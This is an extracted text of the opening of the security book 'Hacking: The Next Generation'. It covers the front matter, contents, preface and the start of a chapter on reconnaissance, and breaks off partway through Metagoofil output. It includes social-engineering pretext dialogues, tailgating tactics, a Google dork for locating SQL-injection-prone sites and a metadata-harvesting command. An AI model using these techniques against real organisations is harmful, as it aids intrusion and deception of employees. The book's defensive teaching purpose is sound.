{
"pages": [
{
"page_number": 1,
"text": ""
},
{
"page_number": 2,
"text": "Download at WoWeBook.Com\n"
},
{
"page_number": 3,
"text": "Hacking: The Next Generation\nDownload at WoWeBook.Com\n"
},
{
"page_number": 4,
"text": "Download at WoWeBook.Com\n"
},
{
"page_number": 5,
"text": "Hacking: The Next Generation\nNitesh Dhanjani, Billy Rios, and Brett Hardin\nBeijing • Cambridge • Farnham • Köln • Sebastopol • Taipei • Tokyo\nDownload at WoWeBook.Com\n"
},
{
"page_number": 6,
"text": "Hacking: The Next Generation\nby Nitesh Dhanjani, Billy Rios, and Brett Hardin\nCopyright © 2009 Nitesh Dhanjani. All rights reserved.\nPrinted in the United States of America.\nPublished by O’Reilly Media, Inc., 1005 Gravenstein Highway North, Sebastopol, CA 95472.\nO’Reilly books may be purchased for educational, business, or sales promotional use. Online editions\nare also available for most titles (http://my.safaribooksonline.com). For more information, contact our\ncorporate/institutional sales department: (800) 998-9938 or corporate@oreilly.com.\nEditor:\nMike Loukides\nProduction Editor:\nLoranah Dimant\nCopyeditor:\nAudrey Doyle\nProofreader:\nSada Preisch\nIndexer:\nSeth Maislin\nCover Designer:\nKaren Montgomery\nInterior Designer:\nDavid Futato\nIllustrator:\nRobert Romano\nPrinting History:\nSeptember 2009:\nFirst Edition. \nNutshell Handbook, the Nutshell Handbook logo, and the O’Reilly logo are registered trademarks of\nO’Reilly Media, Inc. Hacking: The Next Generation, the image of a pirate ship on the cover, and related\ntrade dress are trademarks of O’Reilly Media, Inc.\nMany of the designations used by manufacturers and sellers to distinguish their products are claimed as\ntrademarks. Where those designations appear in this book, and O’Reilly Media, Inc. was aware of a\ntrademark claim, the designations have been printed in caps or initial caps.\nWhile every precaution has been taken in the preparation of this book, the publisher and authors assume\nno responsibility for errors or omissions, or for damages resulting from the use of the information con-\ntained herein.\nTM\nThis book uses RepKover™, a durable and flexible lay-flat binding.\nISBN: 978-0-596-15457-8\n[M]\n1251474150\nDownload at WoWeBook.Com\n"
},
{
"page_number": 7,
"text": "Table of Contents\nPreface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ix\n1. Intelligence Gathering: Peering Through the Windows to Your Organization . . . . . . 1\nPhysical Security Engineering\n1\nDumpster Diving\n2\nHanging Out at the Corporate Campus\n3\nGoogle Earth\n5\nSocial Engineering Call Centers\n6\nSearch Engine Hacking\n7\nGoogle Hacking\n7\nAutomating Google Hacking\n8\nExtracting Metadata from Online Documents\n9\nSearching for Source Code\n11\nLeveraging Social Networks\n12\nFacebook and MySpace\n13\nTwitter\n15\nTracking Employees\n16\nEmail Harvesting with theHarvester\n16\nResumés\n18\nJob Postings\n19\nGoogle Calendar\n21\nWhat Information Is Important?\n22\nSummary\n23\n2. Inside-Out Attacks: The Attacker Is the Insider . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25\nMan on the Inside\n26\nCross-Site Scripting (XSS)\n26\nStealing Sessions\n27\nInjecting Content\n28\nStealing Usernames and Passwords\n30\nAdvanced and Automated Attacks\n34\nv\nDownload at WoWeBook.Com\n"
},
{
"page_number": 8,
"text": "Cross-Site Request Forgery (CSRF)\n37\nInside-Out Attacks\n38\nContent Ownership\n48\nAbusing Flash’s crossdomain.xml\n49\nAbusing Java\n51\nAdvanced Content Ownership Using GIFARs\n54\nStealing Documents from Online Document Stores\n55\nStealing Files from the Filesystem\n63\nSafari File Stealing\n63\nSummary\n69\n3. The Way It Works: There Is No Patch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71\nExploiting Telnet and FTP\n72\nSniffing Credentials\n72\nBrute-Forcing Your Way In\n74\nHijacking Sessions\n75\nAbusing SMTP\n77\nSnooping Emails\n77\nSpoofing Emails to Perform Social Engineering\n78\nAbusing ARP\n80\nPoisoning the Network\n81\nCain & Abel\n81\nSniffing SSH on a Switched Network\n82\nLeveraging DNS for Remote Reconnaissance\n84\nDNS Cache Snooping\n85\nSummary\n88\n4. Blended Threats: When Applications Exploit Each Other . . . . . . . . . . . . . . . . . . . . . . 91\nApplication Protocol Handlers\n93\nFinding Protocol Handlers on Windows\n96\nFinding Protocol Handlers on Mac OS X\n99\nFinding Protocol Handlers on Linux\n101\nBlended Attacks\n102\nThe Classic Blended Attack: Safari’s Carpet Bomb\n103\nThe FireFoxUrl Application Protocol Handler\n108\nMailto:// and the Vulnerability in the ShellExecute Windows API\n111\nThe iPhoto Format String Exploit\n114\nBlended Worms: Conficker/Downadup\n115\nFinding Blended Threats\n118\nSummary\n119\n5. Cloud Insecurity: Sharing the Cloud with Your Enemy . . . . . . . . . . . . . . . . . . . . . . . 121\nWhat Changes in the Cloud\n121\nvi | Table of Contents\nDownload at WoWeBook.Com\n"
},
{
"page_number": 9,
"text": "Amazon’s Elastic Compute Cloud\n122\nGoogle’s App Engine\n122\nOther Cloud Offerings\n123\nAttacks Against the Cloud\n123\nPoisoned Virtual Machines\n124\nAttacks Against Management Consoles\n126\nSecure by Default\n140\nAbusing Cloud Billing Models and Cloud Phishing\n141\nGoogling for Gold in the Cloud\n144\nSummary\n146\n6. Abusing Mobile Devices: Targeting Your Mobile Workforce . . . . . . . . . . . . . . . . . . . 149\nTargeting Your Mobile Workforce\n150\nYour Employees Are on My Network\n150\nGetting on the Network\n152\nDirect Attacks Against Your Employees and Associates\n162\nPutting It Together: Attacks Against a Hotspot User\n166\nTapping into Voicemail\n171\nExploiting Physical Access to Mobile Devices\n174\nSummary\n175\n7. Infiltrating the Phishing Underground: Learning from Online Criminals? . . . . . . . 177\nThe Fresh Phish Is in the Tank\n178\nExamining the Phishers\n179\nNo Time to Patch\n179\nThank You for Signing My Guestbook\n182\nSay Hello to Pedro!\n184\nIsn’t It Ironic?\n189\nThe Loot\n190\nUncovering the Phishing Kits\n191\nPhisher-on-Phisher Crime\n193\nInfiltrating the Underground\n195\nGoogle ReZulT\n196\nFullz for Sale!\n197\nMeet Cha0\n198\nSummary\n200\n8. Influencing Your Victims: Do What We Tell You, Please . . . . . . . . . . . . . . . . . . . . . . 201\nThe Calendar Is a Gold Mine\n201\nInformation in Calendars\n202\nWho Just Joined?\n203\nCalendar Personalities\n204\nSocial Identities\n206\nTable of Contents | vii\nDownload at WoWeBook.Com\n"
},
{
"page_number": 10,
"text": "Abusing Social Profiles\n207\nStealing Social Identities\n210\nBreaking Authentication\n212\nHacking the Psyche\n217\nSummary\n220\n9. Hacking Executives: Can Your CEO Spot a Targeted Attack? . . . . . . . . . . . . . . . . . . . 223\nFully Targeted Attacks Versus Opportunistic Attacks\n223\nMotives\n224\nFinancial Gain\n224\nVengeance\n225\nBenefit and Risk\n226\nInformation Gathering\n226\nIdentifying Executives\n226\nThe Trusted Circle\n227\nTwitter\n230\nOther Social Applications\n232\nAttack Scenarios\n232\nEmail Attack\n233\nTargeting the Assistant\n238\nMemory Sticks\n239\nSummary\n240\n10. Case Studies: Different Perspectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241\nThe Disgruntled Employee\n241\nThe Performance Review\n241\nSpoofing into Conference Calls\n243\nThe Win\n245\nThe Silver Bullet\n245\nThe Free Lunch\n246\nThe SSH Server\n247\nTurning the Network Inside Out\n249\nA Fool with a Tool Is Still a Fool\n252\nSummary\n253\nA. Chapter 2 Source Code Samples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255\nB. Cache_Snoop.pl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265\nIndex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269\nviii | Table of Contents\nDownload at WoWeBook.Com\n"
},
{
"page_number": 11,
"text": "Preface\nAttack vectors that seemed fantastical in the past are now a reality. The reasons for this\nare twofold. First, the need for mobility and agility in technology has made the tradi-\ntional perimeter-based defense model invalid and ineffective. The consumption of\nservices in the cloud, the use of wireless access points and mobile devices, and the access\ngranted to contingent workers have made the concept of the perimeter irrelevant and\nmeaningless. This issue is further amplified by the increased complexity of and trust\nplaced on web browsers, which when successfully exploited can turn the perimeter\ninside out. Second, the emergence of Generation Y culture in the workforce is facili-\ntating the use of social media and communication platforms to the point where citizens\nare sharing critical data about themselves that has been nearly impossible to capture\nremotely in the past.\nThe new generation of attackers is aware of risks in emerging technologies and knows\nhow to exploit the latest platforms to the fullest extent. This book will expose the skill\nset and mindset that today’s sophisticated attackers employ to abuse technology and\npeople so that you can learn how to protect yourself from them.\nAudience\nThis book is for anyone interested in learning the techniques that the more sophisti-\ncated attackers are using today. Other books on the topic have the habit of rehashing\nlegacy attack and penetration methodologies that are no longer of any use to criminals.\nIf you want to learn how the techniques criminals use today have evolved to contain\ncrafty tools and procedures that can compromise a targeted individual or an enterprise,\nthis book is for you.\nAssumptions This Book Makes\nThis book assumes you are familiar with and can graduate beyond elementary attack\nand penetration techniques, such as the use of port scanners and network analyzers. A\nbasic understanding of common web application flaws will be an added plus.\nix\nDownload at WoWeBook.Com\n"
},
{
"page_number": 12,
"text": "Contents of This Book\nThis book is divided into 10 chapters. Here’s a summary of what we cover:\nChapter 1, Intelligence Gathering: Peering Through the Windows to Your Organization\nTo successfully execute an attack against any given organization, the attacker must\nfirst perform reconnaissance to gather as much intelligence about the organization\nas possible. In this chapter, we look at traditional attack methods as well as how\nthe new generation of attackers is able to leverage new technologies for information\ngathering.\nChapter 2, Inside-Out Attacks: The Attacker Is the Insider\nNot only does the popular perimeter-based approach to security provide little risk\nreduction today, but it is in fact contributing to an increased attack surface that\ncriminals are using to launch potentially devastating attacks. The impact of the\nattacks illustrated in this chapter can be extremely devastating to businesses that\napproach security with a perimeter mindset where the insiders are generally trusted\nwith information that is confidential and critical to the organization.\nChapter 3, The Way It Works: There Is No Patch\nThe protocols that support network communication, which are relied upon for the\nInternet to work, were not specifically designed with security in mind. In this\nchapter, we study why these protocols are weak and how attackers have and will\ncontinue to exploit them.\nChapter 4, Blended Threats: When Applications Exploit Each Other\nThe amount of software installed on a modern computer system is staggering. With\nso many different software packages on a single machine, the complexity of man-\naging the interactions between these software packages becomes increasingly com-\nplex. Complexity is the friend of the next-generation hacker. This chapter exposes\nthe techniques used to pit software against software. We present the various blen-\nded threats and blended attacks so that you can gain some insight as to how these\nattacks are executed and the thought process behind blended exploitation.\nChapter 5, Cloud Insecurity: Sharing the Cloud with Your Enemy\nCloud computing is seen as the next generation of computing. The benefits, cost\nsavings, and business justifications for moving to a cloud-based environment are\ncompelling. This chapter illustrates how next-generation hackers are positioning\nthemselves to take advantage of and abuse cloud platforms, and includes tangible\nexamples of vulnerabilities we have discovered in today’s popular cloud platforms.\nChapter 6, Abusing Mobile Devices: Targeting Your Mobile Workforce\nToday’s workforce is a mobile army, traveling to the customer and making business\nhappen. The explosion of laptops, wireless networks, and powerful cell phones,\ncoupled with the need to “get things done,” creates a perfect storm for the next-\ngeneration attacker. This chapter walks through some scenarios showing how the\nmobile workforce can be a prime target of attacks.\nx | Preface\nDownload at WoWeBook.Com\n"
},
{
"page_number": 13,
"text": "Chapter 7, Infiltrating the Phishing Underground: Learning from Online Criminals?\nPhishers are a unique bunch. They are a nuisance to businesses and legal authorities\nand can cause a significant amount of damage to a person’s financial reputation.\nIn this chapter, we infiltrate and uncover this ecosystem so that we can shed some\nlight on and advance our quest toward understanding this popular subset of the\nnew generation of criminals.\nChapter 8, Influencing Your Victims: Do What We Tell You, Please\nThe new generation of attackers doesn’t want to target only networks, operating\nsystems, and applications. These attackers also want to target the people who have\naccess to the data they want to get a hold of. It is sometimes easier for an attacker\nto get what she wants by influencing and manipulating a human being than it is to\ninvest a lot of time finding and exploiting a technical vulnerability. In this chapter,\nwe look at the crafty techniques attackers employ to discover information about\npeople to influence them.\nChapter 9, Hacking Executives: Can Your CEO Spot a Targeted Attack?\nWhen attackers begin to focus their attacks on specific corporate individuals, ex-\necutives often become the prime target. These are the “C Team” members of the\ncompany—for instance, chief executive officers, chief financial officers, and chief\noperating officers. Not only are these executives in higher income brackets than\nother potential targets, but also the value of the information on their laptops can\nrival the value of information in the corporation’s databases. This chapter walks\nthrough scenarios an attacker may use to target executives of large corporations.\nChapter 10, Case Studies: Different Perspectives\nThis chapter presents two scenarios on how a determined hacker can cross-\npollinate vulnerabilities from different processes, systems, and applications to\ncompromise businesses and steal confidential data.\nIn addition to these 10 chapters, the book also includes two appendixes. Appendix A\nprovides the source code samples from Chapter 2, and Appendix B provides the com-\nplete Cache_snoop.pl script, which is designed to aid in exploiting DNS servers that are\nsusceptible to DNS cache snooping.\nConventions Used in This Book\nThe following typographical conventions are used in this book:\nItalic\nIndicates new terms, URLs, email addresses, filenames, file extensions, pathnames,\ndirectories, and Unix utilities\nConstant width\nIndicates commands, options, switches, variables, attributes, keys, functions,\ntypes, classes, namespaces, methods, modules, properties, parameters, values, ob-\njects, events, event handlers, XML tags, HTML tags, macros, the contents of files,\nand the output from commands\nPreface | xi\nDownload at WoWeBook.Com\n"
},
{
"page_number": 14,
"text": "Constant width bold\nShows commands and other text that should be typed literally by the user\nConstant width italic\nShows text that should be replaced with user-supplied values\nThis icon signifies a tip, suggestion, or general note.\nThis icon indicates a warning or caution.\nUsing Code Examples\nThis book is here to help you get your job done. In general, you may use the code in\nthis book in your own configurations and documentation. You do not need to contact\nus for permission unless you’re reproducing a significant portion of the material. For\nexample, writing a program that uses several chunks of code from this book does not\nrequire permission. Selling or distributing a CD-ROM of examples from this book does\nrequire permission.\nWe appreciate, but do not require, attribution. An attribution usually includes the title,\nauthor, publisher, and ISBN. For example: “Hacking: The Next Generation, by Nitesh\nDhanjani, Billy Rios, and Brett Hardin. Copyright 2009, Nitesh Dhanjani,\n978-0-596-15457-8.”\nIf you feel your use of code examples falls outside fair use or the permission given here,\nfeel free to contact us at permissions@oreilly.com.\nWe’d Like to Hear from You\nPlease address comments and questions concerning this book to the publisher:\nO’Reilly Media, Inc.\n1005 Gravenstein Highway North\nSebastopol, CA 95472\n800-998-9938 (in the United States or Canada)\n707-829-0515 (international or local)\n707-829-0104 (fax)\nWe have a web page for this book, where we list errata, examples, and any additional\ninformation. You can access this page at:\nhttp://www.oreilly.com/catalog/9780596154578\nxii | Preface\nDownload at WoWeBook.Com\n"
},
{
"page_number": 15,
"text": "To comment or ask technical questions about this book, send email to:\nbookquestions@oreilly.com\nFor more information about our books, conferences, Resource Centers, and the\nO’Reilly Network, see our website at:\nhttp://www.oreilly.com\nSafari® Books Online\nSafari Books Online is an on-demand digital library that lets you easily\nsearch over 7,500 technology and creative reference books and videos to\nfind the answers you need quickly.\nWith a subscription, you can read any page and watch any video from our library online.\nRead books on your cell phone and mobile devices. Access new titles before they are\navailable for print, and get exclusive access to manuscripts in development and post\nfeedback for the authors. Copy and paste code samples, organize your favorites, down-\nload chapters, bookmark key sections, create notes, print out pages, and benefit from\ntons of other time-saving features.\nO’Reilly Media has uploaded this book to the Safari Books Online service. To have full\ndigital access to this book and others on similar topics from O’Reilly and other pub-\nlishers, sign up for free at http://my.safaribooksonline.com.\nAcknowledgments\nThanks to Mike Loukides for accepting the book proposal and for his guidance\nthroughout the writing process. A big thank you goes to the design team at O’Reilly\nfor creating such a fantastic book cover. Thanks also to the rest of the O’Reilly team—\nLaurel Ackerman, Maria Amodio, Karen Crosby, Audrey Doyle, Edie Freedman,\nJacque McIlvaine, Rachel Monaghan, Karen Montgomery, Marlowe Shaeffer, and\nKaren Shaner.\nAlso, thanks to Mark Lucking for reviewing our chapters.\nNitesh would like to thank Richard Dawkins for his dedication in promoting the public\nunderstanding of science. At a time when reason increasingly seems unfashionable,\nRichard’s rhetoric provided comfort and hope that were instrumental in gathering up\nthe energy and enthusiasm needed to write this book (and for other things).\nBilly would like to thank his family for their encouragement, his wife for her unending\nsupport, and his daughter for her smiles.\nBrett would like to thank his wife for allowing him many long days and nights away\nfrom his family.\nPreface | xiii\nDownload at WoWeBook.Com\n"
},
{
"page_number": 16,
"text": "Download at WoWeBook.Com\n"
},
{
"page_number": 17,
"text": "CHAPTER 1\nIntelligence Gathering: Peering\nThrough the Windows to Your\nOrganization\nTo successfully execute an attack against an organization, the attacker must first per-\nform reconnaissance to gather as much intelligence about the organization as possible. \nMany traditional methods for gaining intelligence about targets still work today, such\nas dumpster diving, querying public databases, and querying search engines. However,\nnew methods that rely on gathering information from technologies such as social net-\nworking applications are becoming more commonplace. In this chapter, we will discuss\nthe traditional methods as well as how the new generation of attackers is able to abuse\nnew technologies to gather information.\nFrom the attacker’s point of view, it is extremely important to perform reconnaissance\nas surreptitiously as possible. Since information gathering is one of the first steps the\nattacker may perform, he must take care not to do anything that may alert the target.\nThe techniques in this chapter will therefore concentrate on methods that allow an\nattacker to gather information without sending a single network packet toward the\ntarget.\nInformation gathered during reconnaissance always ends up aiding the attacker in some\nway, even if it isn’t clear early on how the information is useful. Attackers want to obtain\nas much information about their target as possible, knowing that the data they collect,\nif not immediately useful, will most likely be useful in later stages of the attack.\nPhysical Security Engineering\nGathering information through physical means is a traditional tactic that attackers have\nbeen using for a while now. Some examples of information that an attacker can obtain\nfrom these methods include network diagrams, financial information, floor plans,\n1\nDownload at WoWeBook.Com\n"
},
{
"page_number": 18,
"text": "phone lists, and information regarding conflicts and communications among\nemployees.\nIn the next section, we will look at the different techniques attackers use to gather\nintelligence by physical means.\nDumpster Diving\nDumpster diving, also called “trashing,” is a method of information gathering in which\nan attacker searches through on-site trash cans and dumpsters to gather information\nabout the target organization. This technique is not new, yet attackers are still able to\nuse it to gather substantial amounts of intelligence. Methods have been developed to\nattempt to prevent attackers from dumpster diving, such as shredding sensitive data\nand using off-site companies to securely dispose of sensitive documents.\nEven though some companies have taken preventive measures to prevent dumpster\ndiving, attackers can still gather information if they are willing to go through a target’s\ntrash. Instead of securely disposing of trash, employees often throw away information\nthat is considered sensitive into the nearest trash can. Humans are creatures of habit\nand convenience. Why would a person want to walk 25 feet to dispose of something\nwhen there is a trash can under her desk?\nFigure 1-1 shows a printer cover sheet that exposes the username of the person who\nrequested the print job. Even this username on a piece of paper is an important find\nfor an attacker because it helps the attacker understand how the corporation handles\nusernames (the first letter of the user’s first name, capitalized, appended to the user’s\nlast name, initial-capped). This knowledge gives the attacker an understanding of how\nto formulate an individual’s corporate username. The attacker can then use this to\nconduct further attacks, such as brute force password cracking.\nFigure 1-1. Printer banner exposing a username\n2 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 19,
"text": "On-site dumpsters are typically easy for attackers to access and often have no locks to\nsecure their contents. Even if locks do exist, attackers can easily bypass them to expose\nthe dumpsters’ contents.\nMore and more attackers are learning ways to bypass locks. Information security con-\nferences often conduct lock-picking contests in which contestants are judged based on\nthe speed with which they can pick a lock or the variety of locks they can bypass.\nFigure 1-2 shows a photo of the electronic timing system used to test contestants’ speed\nin bypassing a lock at the DEFCON 12 hacker convention. Even locks don’t prevent\nattackers from going through the contents of a dumpster.\nFigure 1-2. Electronic timing system at DEFCON 12’s lock-picking contest (picture provided by\nDeviant Ollam)\nAs long as attackers can obtain useful information from trash cans and dumpsters,\ndumpster diving will continue to be an avenue for information gathering.\nHanging Out at the Corporate Campus\nAttackers often go on-site, to the corporate location, to gain more information about\ntheir targets. Attackers have determined they can gain intricate knowledge about an\norganization just by walking around the corporate campus and overhearing work\nconversations.\nEmployees are often oblivious to the fact that some people walking around corporate\ncampuses aren’t company employees. Attackers can overhear conversations regarding\nconfidential topics such as IPOs, products in development, and impending layoffs. This\ninformation can become useful in social engineering attacks involving phone calls and\nemails, which we will address in later chapters. For now, here is a sample conversation\nthat is typical of what an attacker may overhear at a corporate campus, involving two\nemployees walking to their cars:\nPhysical Security Engineering | 3\nDownload at WoWeBook.Com\n"
},
{
"page_number": 20,
"text": "Sam: …but that’s why the Rams won the game.\nBob: Yeah, but it was a close game.\nSam: The seats were unbelievable. I wish you and Sally could’ve come.\nBob: Yeah, me too; too many conference calls last night with the investment bank.\nSam: I forgot about that. How is the IPO work going anyway?\nBob: Pretty good. We have obtained underwriting from Large Investment Bank XYZ\nCorporation. The share price is currently being set at around 15. The bank thinks that\nis around 70% of what the stock will go for on the open market.\nSam: Well, that should be a nice little investment for them.\nBob: Yeah. Well, our shares should be worth more after the 180-day waiting period too.\nSam: All right! That’s what I like to hear.\nThe information that is exposed in this conversation may not seem super-sensitive. But\nthis information may aid an attacker in gaining an employee’s trust, since he knows\nabout the IPO work that is being done. This information may even help someone who\nis not an attacker. It may help a non-critical employee or some other person who was\nwalking around the corporate campus that day.\nCigarette smokers are easy targets for gathering information about an organization.\nTypically, smokers have designated areas for their breaks; attackers can hang out in\nthese areas, asking for “a light” and beginning a conversation with an employee about\ninternal projects or intellectual property.\nThe following is a conversation involving a person who appears to be an employee\nwalking back to the building from lunch. The person stops and lights a cigarette and\nbegins a conversation with a director at the company.\nEmployee: How’s it going?\nDirector: Good. (Reading a newspaper)\nEmployee: Good to hear. (Waits patiently)\n*After a few seconds*\nDirector: You know, every time I read one of these electronics ads, I want to go to the\nstore and buy something. But once I get there I realize why I don’t go there. They have\nhorrible customer service.\nEmployee: I totally agree. What are you interested in purchasing?\nDirector: Well, I was thinking about the....\n*General small talk regarding television sets*\nEmployee: Yeah, I would get the LCD television. So, when is the Q4 earnings call? I don’t\nthink I received an email with the date yet.\nDirector: January 25. But it’s a year-end call. As you know, here at Large Organization\nwe have year-end calls instead of Q4 calls.\n4 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 21,
"text": "Employee: How are we handling ourselves with the way the economy is going right now?\nDirector: Well, I can’t comment. It would be considered insider information. I wouldn’t\nwant you to suffer from insider trading.\nEmployee: Yeah, I understand. You can’t be too careful nowadays.\nDirector: Nothing to be concerned about. (She walks toward the door.)\nEmployee: I just want to know if I will have a job next year at this time. Ha!\nDirector: Don’t worry about that. We did better this year than last year, even with the\nslumping economy. Have a good day.\nEmployee: Have a good one.\nEven though the director stated she couldn’t give out “insider” information, she still\ndid. She stated, “We did better this year than last year.” This is exactly the type of\ninformation the attacker is looking for.\nIn addition to overhearing or engaging in conversations on corporate campuses, at-\ntackers will attempt to follow employees into buildings. This is referred to as “piggy-\nbacking” and can be quite successful. Once inside a building, the attacker may attempt\nto check for unlocked doors that may provide additional areas to access or may expose\nthe attacker to more corporate information.\nWhile attempting a physical penetration test for a client, we, the authors of this book,\nwere able to piggyback an employee into a building. Once inside the building, we began\nto open doors to see which additional areas we might be able to access. We discovered\nan unlocked room in which employee badges were created. We created badges for\nourselves (the computer’s password was the name of the company) and we no longer\nneeded to piggyback employees into the building.\nGoogle Earth\nGoogle Earth is free mapping software provided by Google. An attacker can use Google\nEarth to view a map of his target’s physical location before arriving on-site, providing\nhim with spatial knowledge of the target environment. The attacker will have an easier\ntime blending in with other employees if he already knows the general path other em-\nployees take. Figure 1-3 shows O’Reilly’s corporate campus from Google Earth.\nIn addition to the spatial knowledge of a target, Google Earth also provides an easy way\nfor attackers to plan entrance and escape routes. Attacks involving conflict, such as\nthose involving the police, can easily be premeditated using Google Earth. The time it\nwill take response teams, such as fire, medical, and law enforcement, to arrive can be\ncalculated using this application.\nGoogle Earth | 5\nDownload at WoWeBook.Com\n"
},
{
"page_number": 22,
"text": "Figure 1-3. O’Reilly campus as seen from Google Earth\nSocial Engineering Call Centers\nSocial engineering is the art of obtaining information from people who don’t want to\ngive it. Journalists, law enforcement officers, and lawyers learn these skills as a trade.\nThey learn techniques to intimidate or sympathize with a person so that the person\n“reveals her hand.” Attackers use similar techniques to gather sensitive information\nfrom unsuspecting victims.\nCall centers are a target for social engineering because they offer a great way to directly\ninteract with employees from a given company. The company call center provides an\nattacker with a large population of targets. If these targets become hostile or become\naware of the attacker, the attacker just needs to hang up and try again.\nAttackers often seek targets who are new to the organization, are easily intimidated, or\ndon’t like dealing with confrontation. Call centers allow the attacker to leave a small\nfootprint, meaning there is little chance the organization will even know that it is being\nattacked.\nA sample conversation between an attacker posing as a consumer and a call center\nemployee may go something like this:\nEmployee: Thank you for calling Large Organization. Can I get your account number?\nCaller: Yeah, sure. I think it is 55560-5-2219, but I could be wrong. I haven’t called in\nbefore.\nEmployee: That’s all right; give me a few minutes while I look up that account’s\ninformation.\nCaller: No problem. How is your day going? (Jovial tone)\nEmployee: I can’t complain. It’s just been a little hectic around here with the merger and\nall.\n6 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 23,
"text": "Caller: I read about that. It’s with Company X, right?\nEmployee: Yeah, a lot of us aren’t sure if there will be positions for us once the merger\nis complete.\nCaller: Sorry to hear that.\nEmployee: I can’t find any information for the account number you gave me. Are you\nsure that is your account number?\nCaller (ruffle of papers): I will have to look around and see if I can find it. I will call back\nlater.\nEmployee: Okay. Thanks for calling Large Organization. Have a great day.\nThe information the attacker received could be considered sensitive in nature. The\nattacker obtained information suggesting that Company X may be laying off employees\nbecause of a merger. He also discovered that Company X might be laying off people\nspecifically from the support department that he called. This information could be\nuseful to a competing organization. An attacker could then call recently laid-off people,\nassuming the role of a hiring manager, to get more information about the target\norganization.\nSearch Engine Hacking\nSearch engines, by definition, are used to find and locate information on the World\nWide Web. In addition to using search engines to search for information, attackers\nhave ways of using search engines to identify and locate vulnerabilities and confidential\ndata.\nUsing search engines to find vulnerabilities offers a way for attackers to probe a network\nwithout the target’s knowledge since the entire search request and response come from\nthe search engine and not the target. The attacker doesn’t leave a footprint since he is\nnot sending information to the target. Attackers also use a cached page to view the\ninformation, instead of accessing the site directly, which creates another layer of pro-\ntection for them.\nGoogle Hacking\nNumerous books and presentations discuss how to gather “sensitive” information from\nGoogle. Attackers can use Google to gather basic information such as contact lists,\ninternal documents, and top-level organizational structures, as well as locate potential\nvulnerabilities in an organization’s web application.\nAttackers can use a specific type of search query, called a dork, to locate security issues\nor confidential data. Attackers can use dorks to obtain firewall logs and customer data,\nand to find ways to access an organization’s database.\nSearch Engine Hacking | 7\nDownload at WoWeBook.Com\n"
},
{
"page_number": 24,
"text": "Security professionals have developed public databases of dorks. Dork databases exist\nfor several different search engines; the most common dork database is the Google\nHacking Database.\nThe Google Hacking Database (GHDB) is a great resource for finding\ndorks that can aid an attacker. The GHDB is located at http://johnny\n.ihackstuff.com/ghdb/.\nUsing a dork is relatively simple. An attacker locates a dork of interest, and then uses\nGoogle to search for the dork. The following code is a dork that attempts to identify\nweb applications that are susceptible to an SQL injection vulnerability by searching for\na MySQL error message that commonly signifies the existence of an SQL injection flaw:\n\"Unable to jump to row\" \"on MySQL result index\" \"on line\"\nAn attacker can limit the dork to a certain domain by adding the site: directive to the\nquery string. For example, here is a Google query that is limited to the example.com\ndomain:\n\"Unable to jump to row\" \"on MySQL result index\" \"on line\" site:example.com\nFigure 1-4 illustrates the execution of the SQL injection dork. Notice that more than\n900,000 results were returned!\nAutomating Google Hacking\nAn attacker can use the Search Engine Assessment Tool (SEAT), developed by Midnight\nResearch Labs, to automate Google hacking. SEAT uses search engines and search\ncaches to search for vulnerabilities for a particular domain.\nSEAT supports multiple search engines, including Google, Yahoo!, and MSN. SEAT\nalso has a variety of built-in dorks. The databases that SEAT uses (shown in Fig-\nure 1-5) were compiled from multiple sources, including the GHDB and Nikto.\nFigure 1-4. Execution of an SQL injection dork\n8 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n"
},
{
"page_number": 25,
"text": "An attacker can select multiple databases and search engines when using SEAT. Along\nwith SEAT’s multithreading, these features aid the attacker greatly when he’s gathering\ninformation via search engine hacking. Figure 1-6 shows SEAT during the execution\nstage running 15 simultaneous queries.\nYou can obtain the latest version of SEAT from http://midnightresearch\n.com/projects/search-engine-assessment-tool/.\nExtracting Metadata from Online Documents\nMetadata is “data about other data.” A good example of metadata is the data that is\noften inserted into Microsoft Office documents such as Word. For instance, Microsoft\nWord inserts data such as usernames and folder paths of the author’s machine. At-\ntackers can extract this metadata from documents that corporations have put online.\nUsing search engines, attackers can use specific directives to limit their results to specific\nfile types that are known to include metadata. For example, the Google directive\nfiletype:doc will return only Microsoft Word files. The following is a query that returns\nonly PowerPoint presentations that contain the phrase “Q4 Expenses”:\nfiletype:ppt \"Q4 Expenses\"\nFigure 1-5. SEAT’s different built-in vulnerability databases\nAttackers query Google using such queries; then they download the documents that\nare returned and examine them, pulling out any metadata stored within them.\nSearch Engine Hacking | 9\nDownload at WoWeBook.Com\n"
},
{
"page_number": 26,
"text": "Metagoofil is an automated tool that queries Google to find documents that are known\nto contain metadata. Metagoofil will query Google using a specific domain, download\nthe files that are returned, and then attempt to extract the contents. Here is a demon-\nstration of Metagoofil being used against example.com:\n$ python metagoofil.py -d example.com -f all -l 3 -o example.html -t DL\n*************************************\n*MetaGooFil Ver. 1.4a *\n*Coded by Christian Martorella *\n*Edge-Security Research *\n*cmartorella@edge-security.com *\n*************************************\n[+] Command extract found, proceeding with leeching\n[+] Searching in example.com for: pdf\n[+] Total results in google: 5300\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.pdf\n [ 2/3 ] http://www.example.com/english/lic/gl_app2.pdf\n [ 3/3 ] http://www.example.com/english/lic/gl_app3.pdf\n[+] Searching in example.com for: doc\n[+] Total results in google: 1500\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.doc\n [ 2/3 ] http://www.example.com/english/lic/gl_app2.doc\n [ 3/3 ] http://www.example.com/english/lic/gl_app3.doc\n[+] Searching in example.com for: xls\n[+] Total results in google: 20\n[+] Limit: 